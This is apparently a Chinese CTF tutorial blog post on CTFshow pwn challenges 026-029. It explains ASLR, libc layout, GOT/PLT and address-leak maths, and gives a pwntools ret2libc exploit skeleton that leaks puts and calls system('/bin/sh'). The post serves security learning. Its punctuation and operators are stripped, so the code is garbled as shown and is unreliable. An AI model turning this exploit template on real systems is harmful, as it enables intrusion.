我做PWN题最上头的一次是学会了覆盖返回地址、精心构造好ROP链之后满心欢喜地发送过去结果屏幕上不是shell而是一段段错误。当时我非常困惑——明明控制流已经劫持了为什么还是起不来后来才弄明白问题不在于我的payload而在于我对程序运行环境的理解太浅ASLR把libc函数地址随机丢到某个地方我压根不知道要跳去哪里。这正是CTFshow pwn系列前置基础025之后紧接着026到029这一组题目想要解决的核心问题理解ASLR和Libc之间的关系学会在地址随机化的世界里稳定拿权限。如果你也在入门PWN刚看完覆盖返回地址、ROP基本操作下一步十有八九就卡在这里——本地用gdb调试一切正常远程一打就废或者换个环境就全部重来。这篇文章我会把ASLR到底随机了什么、Libc在进程里是怎么布局的、为什么“泄露一个函数地址就能算出全部地址”这三件事讲透再给出一套可以直接照着改的exp骨架最后把我自己反复翻车的几个场景也列出来避免你浪费时间踩一样的坑。1. 为什么pwn 026-029要先啃ASLR和Libc这两块硬骨头1.1 从“能控”到“可控”的认知转变PWN题目的本质是把程序的某种内存漏洞变成一次可控的跳转。你通过栈溢出改写了返回地址这只是做到了“能控”第一步——CPU确实会跳向你指定的地址。但真正的问题是你要让它跳到那里那个地址本身得是真实存在的、可执行的还得能完成你的目标。在早期题目里程序代码段本身可能就有一个后门函数函数地址固定不变你直接ret过去就行根本不需要管什么随机化。比如ret2text。但真实环境不会这么好心026-029开始引入的就是更接近真实情况的场景程序开了NX栈不可执行代码段里也没有system这种现成武器你只能去libc里找。这时候你就必须面对一个残酷的事实libc的加载地址每次运行都可能不同。如果你在payload里硬编码一个system地址第一次可能成功第二次重启服务就击穿。所以前置基础这一段的核心不是教你更多的花式溢出技巧而是完成一个认知转变——从“给死地址”升级到“动态泄露、动态计算”。这个转变过不了关后面的堆利用、格式化字符串利用全都会卡住。1.2 026-029在整个pwn学习路径里的位置CTFshow的pwn系列是循序渐进的前面几道题让你熟悉了栈溢出、checksec、ROP链的基本拼接方法但从026开始它开始模拟“没有后门”的常规情况。按这个系列的设计意图这几道题基本就是让你经历一个完整流程用checksec确认保护。发现没有可以直接跳的后门函数。找到程序里能输出的函数puts、printf、write这一类让它把libc里某个函数的真实地址打印出来。拿到地址后算出libc基址再算出system和/bin/sh的真实地址。最后把返回地址覆盖成system拿到shell。这个流程看似不复杂但每一步都有坑。我曾经把泄露地址后的接收多收了一字节导致整个偏移计算错位排查了四个小时。这种细节只能靠亲手做题踩一遍才能记住。所以这四道题不是凑数的题它把整个后半程最常见的套路按正常顺序喂到你嘴边你只要耐心走完后面遇到类似题就会条件反射。2. ASLR机制拆解每次运行都是另一套地址2.1 操作系统到底在随机化什么ASLR全称是Address Space Layout Randomization地址空间布局随机化是操作系统为了增加攻击难度设计的安全机制。在Linux里你每运行一次程序内核会对进程地址空间里的多个区域重新分配起始地址。被随机化的区域主要有这么几块栈环境变量、参数、局部变量所在的栈区起始地址会变。堆程序运行时用malloc申请的内存区域基址也会变。内存映射区包括共享库、mmap出来的区域也就是libc所在的位置。vdso/vvar等内核映射区域。值得注意的是并不是所有区域都随机化。比如程序自身代码段是否随机取决于编译时是否开启PIEPosition Independent Executable位置无关可执行文件。如果程序没有开PIE那么它的.text、.data、.bss段仍然加载在固定的基地址例如64位ELF常见的是0x400000。如果开了PIE代码段本身也会随机化这也是很多题目在裸栈溢出之外还要加一道“先泄露程序地址”的坎。Linux下ASLR的开关控制在/proc/sys/kernel/randomize_va_space里它有三个值0关闭随机化所有区域固定地址。1对栈、共享库、mmap区域进行随机化但mmap的基地址是固定的。2完全随机化默认值栈、堆、共享库、mmap全部随机。在CTF里远程服务端通常就是默认的内核配置也就是2。这意味着你在本地人肉调试时看到的那些地址远程几乎不可能一致。2.2 随机化的粒度地址不稳定但低12位很诚实很多刚入门的人会以为ASLR是“每次运行地址完全无规律”其实不对。它随机化的粒度有限通常是按页page来随机。Linux默认内存页大小是0x1000字节也就是4096字节。理解这一点非常关键因为这决定了你泄露地址之后怎么判断它合不合理。一个函数在libc里的地址通常由“libc基址 函数自身偏移”组成。而基址本身是页对齐的也就是说基址的低12位永远是0。因此任何libc函数地址它的低12位其实等于“函数在libc文件中的偏移的低12位”这个值是固定的、不会因ASLR改变。举个例子你泄露出来的puts地址如果是0x7f1234567a00那它的低12位是0xa00。你去查这个libc版本里puts的偏移偏移低12位必然也是0xa00。如果对不上那说明你泄露的数据有问题可能多收漏收了一个字节或者截断得太早。这个特性也可以用来快速验证泄露是否成功而不需要每次都完整算出基址。我第一次知道这个低12位的规律时瞬间觉得之前那些“玄学”地址变得非常有逻辑。2.3 gdb给你制造的“假象”这里必须单独拎出来说因为它坑了太多人gdb默认会关闭ASLR。那是为了方便调试默认开启set disable-randomization on也就是说你在gdb里每次运行程序地址基本固定。这就直接造成一个局面你在gdb里跑exp第一次成功第二次成功每一次都成功。你高兴地换到远程服务器啪全崩。这不是你exp写错了而是远程开了ASLR地址变了你payload里那些硬编码的libc地址自然失效。我在早期调试时就犯过这个错甚至一度怀疑是网络问题。后来才养成习惯本地测试时一方面用gdb调试另一方面直接用python脚本跑一遍非gdb下的真实随机化环境。如果exp能在没有gdb的本地环境稳定打通才说明没有依赖固定地址。另外很多题目为了方便调试会直接给你一个docker环境里面装好和远程一致的libc你把容器里的libc拷出来用patchelf给binary指定一下就能在本地复现远程环境。这个操作后面会细说。3. Libc和它的“搬家规律”地址会变布局不变3.1 动态链接程序运行到一半才去“借”代码Libc就是Linux下的C标准库具体实现通常是glibc对应的文件是libc.so.6。几乎所有C程序运行都依赖它因为printf、puts、read、write、system这些函数都住在里面。但程序不是把所有函数的代码都编译进自己的ELF文件而是采用动态链接的方式。ELF文件里只记录了一个符号名比如puts等到程序运行、真正要调用puts的时候动态链接器ld-linux.so才去libc里找到puts的真实地址再填到某个地方供后续调用使用。这就解释了为什么ASLR会影响pwnlibc的加载地址随机而你要用的system函数在libc里所以system的真实地址也随机。你不知道它在哪里就没法让跳转过去。要破局思路并非“猜中系统函数的地址”而是利用程序自身泄露libc里任意一个函数的真实地址再通过相对关系算出其他函数的地址。为什么这么做可行正好就要看动态链接期间建立起来的那张表。3.2 GOT和PLT程序手里的“函数地址通讯录”动态链接不是每次调用都去重新查找而是用了一套缓存机制。程序里对每个外部函数都配了一组配套的小工具PLTProcess Linkage Table过程链接表和GOTGlobal Offset Table全局偏移表。PLT是一段很小的代码像跳板一样。GOT则是一张地址表专门存放外部函数的真实地址。第一次调用puts时流程是这样的程序跳到putspltplt跳转到GOT中puts对应的项但此时这一项还没有被解析出真实地址于是跳到动态链接器的解析代码。解析完成后把puts的真实地址写入GOT。后续再调用putsPLT直接跳到GOT此时GOT里已经是真实地址不再重复解析。这套机制对pwn来说简直是福利。因为GOT表存在于程序自己的数据段里它保存的是“运行时解析出来的真实libc地址”。只要我们能让程序输出GOT里某一项的内容就等于让程序自己泄露了libc的真实地址。最常用的手法就是找GOT中puts或printf或write的项然后用一个格式化字符串漏洞或者ROP调用puts(putsgot)把那个8字节地址打印出来。这也正是026-029这一组题最常见的核心操作找泄露点泄GOT项算基址。3.3 基址加偏移同一个libc里函数之间永远是固定距离这一步是整个技术链的定海神针。你要明白libc被加载到内存时不是一个个函数散着放的而是整个共享库作为一个整体映射进一块连续的虚拟内存区域。那么在这个连续区域里puts和system之间的相对距离就完全取决于libc文件内部函数代码的排列偏移而这个偏移在编译libc时就固定了。比如某个版本的libc里puts相对基址偏移是0x809c0system相对基址偏移是0x4f440只要用同一个libc文件这两个偏移永远不变。所以计算方式就很简单base_addr leaked_puts_addr - puts_offset_in_libcsystem_addr base_addr system_offset_in_libc用个生活化的类比libc就像一个小区每个函数是小区里的一栋楼。ASLR相当于每次把整个小区随机搬到一个新位置楼间距永远不变。你只要知道其中一栋楼搬到了哪里再根据它的门牌号反推出小区大门的位置其他任何一栋楼的位置也就能算出来。这也是为什么pwn脚本里经常能看到libc.symbols[puts]、libc.symbols[system]这类写法本质上就是在查函数在libc里的偏移。pwntools的ELF对象能直接解析这个。3.4 版本不同全盘皆输远程和本地libc不一致的坑偏移固定是“同一个libc文件内”的固定。不同版本的libc同一个函数的偏移很可能不一样。Ubuntu 16.04用的libc-2.23、Ubuntu 18.04用的libc-2.27、Ubuntu 20.04用的libc-2.31这中间puts的偏移差异能到几千甚至几万字节。你要是拿本地Ubuntu的libc偏移去计算远程Ubuntu的libc基址算出来的system地址一定是错的非法地址直接段错误。这个问题在CTF里非常常见属于新手必踩坑。正确的处理方式就几种题目If直接给了libc.so.6文件那最省事本地用patchelf给binary指定这个libc和对应的ld调试环境完全复刻远程。题目不给libc就先泄露两个libc函数地址然后去libc database查。这类在线库非常多比如libc.rip你输入两个函数地址的低12位或低24位它会帮你收索匹配的libc版本并给出偏移。如果用的是pwntools还可以用LibcSearcher这个第三方库但现在它这个老库的数据库和安装兼容性都不太好我建议优先用在线库。在后面的exp骨架里我会默认你已经在题目环境里准备好了正确的libc文件这样流程最干净。4. 026-029核心套路泄露一个地址推算全部4.1 为什么泄露一个就够了因为你只需要知道libc基址。而基址可以通过“一个已知函数的真实地址减去它在本libc中的偏移”得到。从你开始做一个有输出的pwn题记住这个公式即可。那为什么不直接泄露system因为在GOT表里system通常没有被程序调用过的原始程序根本不经过动态链接器解析所以GOT里system那一项其实是空的里面存的是解析代码跳板地址并不是libc里的真实地址。你要选一个程序确实调用过的函数比如puts、printf、read、write因为这些函数已经被动态链接器解析过了GOT里保存的是真实libc地址。拿puts做例子因为几乎每个程序都会调用puts或printf输出字符串。4.2 泄露手段选型puts、write、printf各有脾气你可以把GOT里某个函数的地址作为参数再调用另一个输出型函数来打印它。最常用的是三种但它们各有脾气我列个对比表函数优点坑点puts调用方便参数只需一个指针常见PLT输出遇\x00截断且结尾自动加\nwrite输出长度可控不遇\x00中断需要三个参数找rdx gadget更麻烦printf结合格式化字符串可输出指定字节字符串里不能有特殊格式符号可能崩溃在大半RET2LIBC题目里puts是第一选择因为只需要控制rdi一个参数而pop rdi; ret这个gadget几乎到处都有。write虽然不会截断但64位调用write需要rdifd1、rsi缓冲区地址、rdx长度三个参数都可控找全家桶gadget会麻烦很多。所以我的习惯是“能puts就putsputs不行再考虑write。”但puts也有一个令人头疼的地方就是它一遇到\x00就停下来了。而libc地址通常在0x7fxxxxxxxxxx这个范围转成8字节后高两字节是00低地址如果是6字节有效的libc地址则实际打印时只输出到第一个\x00后面自动补一个换行符。4.3 一个可以直接改的Exp骨架下面我给出一份通用的exp骨架适用的是这样的场景64位程序栈溢出偏移已知开启NX但没开PIE程序里能调puts调用方式是你覆盖返回地址来调用。这个骨架覆盖了泄露、计算、二次攻击整条链路。from pwn import * context.arch amd64 context.log_level debug # 本地调试直接process # p process(./pwn) # 远程题目连接 p remote(node.challenge.ctfshow.com, 10000) elf ELF(./pwn) # 如果题目给了libc直接指定 libc ELF(./libc.so.6) # 栈溢出到返回地址的偏移用pattern测出来 offset 0x58 # 找gadgetpop rdi; ret pop_rdi 0x4013e3 # 程序回main方便做二次交互 main_addr elf.symbols[main] # 泄露puts的真实地址 payload1 bA * offset payload1 p64(pop_rdi) payload1 p64(elf.got[puts]) # 把puts的GOT项地址作为参数 payload1 p64(elf.plt[puts]) # 调用puts让它打印自己GOT里的真实地址 payload1 p64(main_addr) # 回到main继续下一次输入 p.sendline(payload1) # 等回显注意收掉前面的提示字符串 p.recvuntil(binput:\n) # 读取一行去换行补成8字节 leak p.recvline().strip().ljust(8, b\x00) puts_addr u64(leak) log.success(fputs: {hex(puts_addr)}) # 根据puts偏移计算libc基址 libc_base puts_addr - libc.symbols[puts] log.success(flibc base: {hex(libc_base)}) # 计算system和/bin/sh的真实地址 system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh\x00)) log.success(fsystem: {hex(system_addr)}) # 第二次payload直接调用system(/bin/sh) payload2 bA * offset payload2 p64(pop_rdi) payload2 p64(binsh_addr) # 栈对齐专用ret gadget payload2 p64(pop_rdi 1) # 这里直接近一行ret就够了 payload2 p64(system_addr) p.sendline(payload2) p.interactive()这个脚本里我特意加了一个ret gadget的步骤。很多人第一次打64位system都会莫名段错误就是因为system函数内部用到了movaps指令要求栈指针按16字节对齐。覆盖返回地址的时候如果栈顶不对齐system一调用直接崩。办法是payload里在调用system之前多加一个ret指令单字节ret或pop开头都行把栈顶往下挪8字节让对齐恢复。这是我打了十余道题后总结出来的必加项不能省。4.4 地址算出来不代表完事别忘了前面还有一道“接收”关卡整个流程里最容易被忽略的是接收端。你用puts去打印一个8字节的libc地址实际上收到的packet可能只有6字节有效内容因为高两字节是\x00puts遇到\x00停住了。所以recvline之后必须自己补零ljust(8, b\x00)。这一步不补u64解出来的数直接错后面的基址全错而且错得很隐蔽因为你可能看不出来。另外如果你调用的是puts它会在打印完后自动带一个换行。有些程序的输出前后还有别的提示字符比如“Input:”“Hello:”之类的你需要先recvuntil把这些前缀都吃掉再单独收一行为地址行。这部分建议直接开debug日志把原始字节打印出来看明显多了少了什么一眼看清。5. 反复翻车后的复盘这些细节决定你能不能拿分5.1 泄露数据的校验方法拿到一个泄露地址别急着往后算。先看三件事能省下至少一小时的排查时间。前导字节大概率是0x7f因为libc地址在64位Linux上一般落在0x7f0000000000以上。如果收到的是0x55开头那泄露的很可能是程序自身地址PIE相关不是libc。低12位必须等于你本地libc中puts偏移的低12位。高位基本是0x7f。如果低12位对不上最大的可能是接收数据没对齐多收或漏收字节或者puts被\x00截断后少字符没有被补零。看到地址结尾是0x0a这样的值也说明把换行符一起算进来了要strip掉。我在调试时会把泄露的原始字节用print(repr(leak))打出来看而不是只看hex转出来的数字。因为repr能告诉你到底有没有多出换行、有没有\x00之外的其他残留。这一步排坑效率极高。5.2 远程环境没给libc文件怎么办CTF平台上很多老题没有附libc远程环境什么版本全靠猜。我的建议流程是这样的利用题目先泄露两个函数的地址比如puts和printf。拿这两个地址的低12位去libc database搜匹配的版本。找到后下载对应libc.so.6用patchelf把你的本地binary换到这个libc上同时指定对应的动态链接器ld-2.x.so。然后本地重新跑exp确认稳定通再打远程。一个常用的命令示例patchelf --set-interpreter ./ld-2.27.so ./pwn patchelf --replace-needed libc.so.6 ./libc.so.6 ./pwn这样可以保证你本地的libc偏移和远程几乎一致。有些人图省事直接拿LibcSearcher搜完就硬算完全不本地验证遇到不确定的环境经常出问题我强烈建议还是本地跑通一遍再上远程。5.3 一个容易忽视的交互细节二次输入的缓存残留泄露完回到main之后程序里可能还有之前输入缓冲区里残留的内容或者输出缓冲区里残留的提示文字。如果你直接sendline(payload2)说不定这些残留和你的payload前后顺序错乱接收时引发各种诡异现象。我一般会在发送payload2之前用p.recvuntil(binput:\n)把提示字符串收干净确保程序确实在等待第二次输入然后再发送。如果程序没有回显提示就sleep(0.1)清理一下也可以但最好还是靠recvuntil确认。另外如果在远程环境里泄露阶段超时了多半是程序在等输入而你还在收缓冲。这时候检查一下是payload的布局出了问题还是栈被破坏导致程序提前崩了。用gdb.attach本地一步步跟比盲猜快得多。5.4 我的本地调试习惯最后分享一个我自己跑026系列题时固定的流程。拿到题先checksec看开什么保护然后看main里用了哪些库函数或者找输出点。接着用cyclic测出栈溢出偏移。先不解除ASLR直接本地跑exp脚本看泄露地址能不能重现。如果不行就在exp里加一行gdb.attach(p)用gdb调试payload布局重点是看执行到puts之前rdi寄存器是不是你要的GOT地址。这里有一半的情况是参数控制的GOT地址写错了比如把got错写成了plt地址导致打印的不是真实地址。gdb.attach的用法很简单在process之后加一行gdb.attach(p)脚本会停在程序启动处你可以在gdb里continue然后用ni、si逐步跟踪。一旦本地无gdb环境下能稳定打通再把地址和目标IP换成远程环境的成功概率就高很多。这套习惯我用了很久基本成为我打pwn题的标准动作。最后再说点实在的搞懂026到029这几道题其实收获的不是某一种exp模板而是一种思考方式地址会变但相对关系不变。ASLR只是把整个libc“小区”整体挪走而小区里的楼间距永远不变。你在pwn里面要做的永远不是跟随机化硬刚而是找一个出口让程序帮你泄露哪怕一个真实地址然后用数学规律把它放大成整个攻击链。这个思路在后面处理堆利用、格式化字符串、甚至包括PIE本身的地址泄露时全部通用。如果你现在还被“泄露地址后算出来但打不通”折磨我的建议是先别碰远程把exp里的每一步都花点时间吃透把泄露、接收、偏移计算这几个环节分别验证再组装完整攻击。不要急于求成因为pwn这条路上越是基础的东西往后复用率越高。把026到029练扎实等你遇到更复杂的题目时会发现这些“前置基础”其实一直在你脚本里默默撑着。
